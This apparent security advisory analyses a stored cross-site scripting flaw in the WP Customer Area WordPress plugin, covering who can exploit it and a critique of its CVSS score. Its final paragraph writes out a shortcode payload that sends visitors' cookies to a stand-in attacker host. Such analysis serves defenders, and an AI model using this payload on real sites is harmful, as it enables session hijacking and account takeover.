WP Customer Area CVE-2026-7640

Exploitation requires an authenticated WordPress session with at minimum Contributor-level role permissions - the attacker must have the capability to create or edit posts and pages containing shortcodes. The [customer-area-protected-content] shortcode must be rendered on a publicly or privately accessible page that victims will visit. Exploitation is further limited to WordPress installations with WP Customer Area versions 8.3.5 and below installed and active. What limits exploitation: the Contributor role requirement excludes anonymous and Subscriber-level accounts; exploitation of administrator or editor sessions requires the victim to visit the injected page (passive delivery, not active luring). What enables exploitation: WordPress sites that permit open registration with Contributor privileges, or those with compromised Contributor credentials, face materially elevated risk.

The provided CVSS 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) reflects moderate severity. The PR:L metric correctly anchors this to authenticated Contributor-level access, which meaningfully constrains exploitation compared to an unauthenticated vector. The S:C (Scope Changed) designation raises the score by acknowledging that the payload executes outside the WordPress trust boundary in victim browsers. No EPSS probability data was provided, and the vulnerability carries no CISA KEV listing - both signals indicate this is not under active mass exploitation at time of analysis. Real-world risk is moderate-to-low in hardened WordPress installations where Contributor accounts are tightly controlled, but elevated in multi-author publishing environments, content staging sites, or any site allowing self-registration with Contributor privileges. The stored nature of the XSS makes it persistent and scalable: a single injection affects every future visitor rather than requiring per-victim luring. The UI:N metric in the provided vector warrants scrutiny - victim page-visit constitutes a form of required interaction; this analysis assesses UI:R as more technically precise, which lowers the adjusted score to approximately 5.4.

An attacker who registers or compromises a Contributor account on the target WordPress site creates or edits a page embedding the [customer-area-protected-content type='<script>document.location="https://attacker.example/steal?c="+document.cookie</script>'] shortcode payload. The malicious payload is stored in the WordPress database and executed in the browser context of every authenticated or unauthenticated visitor who loads that page, enabling the attacker to harvest session cookies and hijack administrator sessions without any direct interaction after the initial injection. No public proof-of-concept exploit code has been identified, but the attack requires only basic knowledge of WordPress shortcode syntax and browser JavaScript.